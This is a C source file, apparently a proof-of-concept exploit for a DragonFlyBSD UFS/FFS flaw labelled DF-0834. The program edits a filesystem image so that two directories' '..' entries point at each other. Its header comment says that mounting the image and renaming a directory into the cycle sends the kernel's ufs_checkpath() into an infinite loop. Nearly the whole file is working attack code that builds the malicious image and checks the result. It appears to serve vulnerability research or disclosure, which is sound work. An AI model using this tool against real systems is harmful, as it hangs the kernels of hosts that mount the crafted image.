/*
 * patch_ufs.c — DF-0834 image patcher (UFS/FFS analog of DF-0824).
 *
 * Forges a cyclic `..` chain (A->B, B->A) between two directories in a UFS/FFS
 * image by rewriting the on-disk dotdot_ino field (struct dirtemplate, offset
 * 12 in the directory's first data block — sys/vfs/ufs/dir.h:136).
 *
 * Such cyclic `..` entries are impossible to create online (mkdir/rename always
 * set `..` to the true parent; hard-linking dirs is forbidden) but trivial
 * offline. When the image is later mounted and a directory is renamed into the
 * cyclic parent, ufs_checkpath() (sys/vfs/ufs/ufs_lookup.c:1130-1166) walks the
 * `..` chain in an unbounded `for(;;)` loop with no depth cap, no
 * visited-inode tracking, and no signal-pending check -> infinite kernel loop.
 *
 * This program uses the DragonFlyBSD kernel's own UFS on-disk headers and
 * macros (fs.h / dinode.h) so the geometry math is the kernel's math — no
 * hand-rolled offsets that can drift.
 *
 * Usage:  patch_ufs <image> <ino_A> <ino_B>
 * Build:  cc -O2 -o patch_ufs patch_ufs.c
 */
#include <sys/types.h>
#include <sys/param.h>          /* MAXFRAG, DEV_BSIZE, etc. */
#include <vfs/ufs/ufs_types.h>  /* ufs_daddr_t, ufs_time_t */
#include <vfs/ufs/fs.h>
#include <vfs/ufs/dinode.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

static void die(const char *m){ perror(m); exit(2); }

static void rd(int fd, void *buf, size_t n, off_t off, const char *what) {
    if (pread(fd, buf, n, off) != (ssize_t)n) die(what);
}
static void wr(int fd, const void *buf, size_t n, off_t off, const char *what) {
    if (pwrite(fd, buf, n, off) != (ssize_t)n) die(what);
}

/* Mirror of the kernel macro cgstart() for FS_MAGIC filesystems. */
static ufs_daddr_t
my_cgstart(const struct fs *fs, int c)
{
    return (ufs_daddr_t)(fs->fs_cgoffset * ((c) & ~fs->fs_cgmask) +
                         ((c) & fs->fs_cgmask) * fs->fs_fpg);
}

#define DOTDOT_OFF 12   /* offset of dotdot_ino in struct dirtemplate */

/* Returns the byte offset of inode @ino's first data block (di_db[0]). */
static off_t
dir_data_off(int fd, const struct fs *fs, long ino)
{
    int cg = ino / fs->fs_ipg;
    ufs_daddr_t cgstart = my_cgstart(fs, cg);
    ufs_daddr_t cgimin  = cgstart + fs->fs_iblkno;
    long idx_in_cg = ino % fs->fs_ipg;
    /* itod(): cgimin + blkstofrags((idx/inopb)) */
    ufs_daddr_t i_frag = cgimin +
        ((idx_in_cg / fs->fs_inopb) << fs->fs_fragshift);
    off_t inode_byte = (off_t)i_frag * fs->fs_fsize +
                       (idx_in_cg % fs->fs_inopb) * sizeof(struct ufs1_dinode);
    struct ufs1_dinode di;
    rd(fd, &di, sizeof(di), inode_byte, "read inode");
    if (di.di_db[0] <= 0) {
        fprintf(stderr, "inode %ld: no direct block (di_db[0]=%d, mode=0%o)\n",
                ino, di.di_db[0], di.di_mode);
        exit(2);
    }
    return (off_t)di.di_db[0] * fs->fs_fsize;
}

int main(int argc, char **argv) {
    if (argc != 4) {
        fprintf(stderr, "usage: %s <image> <ino_A> <ino_B>\n", argv[0]);
        return 1;
    }
    const char *img = argv[1];
    long ino_A = atol(argv[2]);
    long ino_B = atol(argv[3]);
    if (ino_A < UFS_ROOTINO || ino_B < UFS_ROOTINO || ino_A == ino_B) {
        fprintf(stderr, "bad inodes A=%ld B=%ld\n", ino_A, ino_B);
        return 1;
    }

    int fd = open(img, O_RDWR);
    if (fd < 0) die("open");

    /* 1. Read superblock at byte offset SBOFF. */
    struct fs sb;
    rd(fd, &sb, sizeof(sb), SBOFF, "read superblock");
    if (sb.fs_magic != FS_MAGIC) {
        fprintf(stderr, "not FFS: magic=0x%x (want 0x%x)\n",
                sb.fs_magic, FS_MAGIC);
        return 2;
    }
    printf("FFS superblock OK: fsize=%d frag=%d bsize=%d inopb=%d ipg=%d "
           "fpg=%d iblkno=%d cgoffset=%d cgmask=0x%x ncg=%d\n",
           sb.fs_fsize, sb.fs_frag, sb.fs_bsize, sb.fs_inopb, sb.fs_ipg,
           sb.fs_fpg, sb.fs_iblkno, sb.fs_cgoffset, sb.fs_cgmask, sb.fs_ncg);
    if (sb.fs_fsize <= 0 || sb.fs_frag <= 0 || sb.fs_inopb <= 0 ||
        sb.fs_ipg <= 0 || sb.fs_fpg <= 0) {
        fprintf(stderr, "bogus superblock geometry\n");
        return 2;
    }

    /* 2. Find each inode's first data block. */
    off_t a_off = dir_data_off(fd, &sb, ino_A);
    off_t b_off = dir_data_off(fd, &sb, ino_B);
    printf("inode A=%ld  dir data byte offset = %lld\n", ino_A, (long long)a_off);
    printf("inode B=%ld  dir data byte offset = %lld\n", ino_B, (long long)b_off);

    /* 3. Show BEFORE state. struct dirtemplate dotdot_ino is at offset 12. */
    uint8_t ablk[32], bblk[32];
    rd(fd, ablk, 32, a_off, "read A dirblock");
    rd(fd, bblk, 32, b_off, "read B dirblock");
    uint32_t a_dot, a_dotdot, b_dot, b_dotdot;
    memcpy(&a_dot,    ablk + 0,  4);
    memcpy(&a_dotdot, ablk + 12, 4);
    memcpy(&b_dot,    bblk + 0,  4);
    memcpy(&b_dotdot, bblk + 12, 4);
    printf("BEFORE:  A '.'=%u  '..'=%u   |   B '.'=%u  '..'=%u\n",
           a_dot, a_dotdot, b_dot, b_dotdot);

    /* 4. Patch: A's `..` -> B_ino, B's `..` -> A_ino. */
    uint32_t new_a_dotdot = (uint32_t)ino_B;
    uint32_t new_b_dotdot = (uint32_t)ino_A;
    wr(fd, &new_a_dotdot, 4, a_off + DOTDOT_OFF, "patch A ..");
    wr(fd, &new_b_dotdot, 4, b_off + DOTDOT_OFF, "patch B ..");

    /* 5. Verify AFTER. */
    rd(fd, ablk, 32, a_off, "re-read A dirblock");
    rd(fd, bblk, 32, b_off, "re-read B dirblock");
    memcpy(&a_dotdot, ablk + 12, 4);
    memcpy(&b_dotdot, bblk + 12, 4);
    printf("AFTER:   A '..'=%u (want %ld)   |   B '..'=%u (want %ld)\n",
           a_dotdot, ino_B, b_dotdot, ino_A);

    if (a_dotdot == (uint32_t)ino_B && b_dotdot == (uint32_t)ino_A) {
        printf("OK: cyclic `..` chain forged  A(%ld) <-> B(%ld)\n", ino_A, ino_B);
        return 0;
    }
    fprintf(stderr, "FAIL: verification mismatch\n");
    return 2;
}
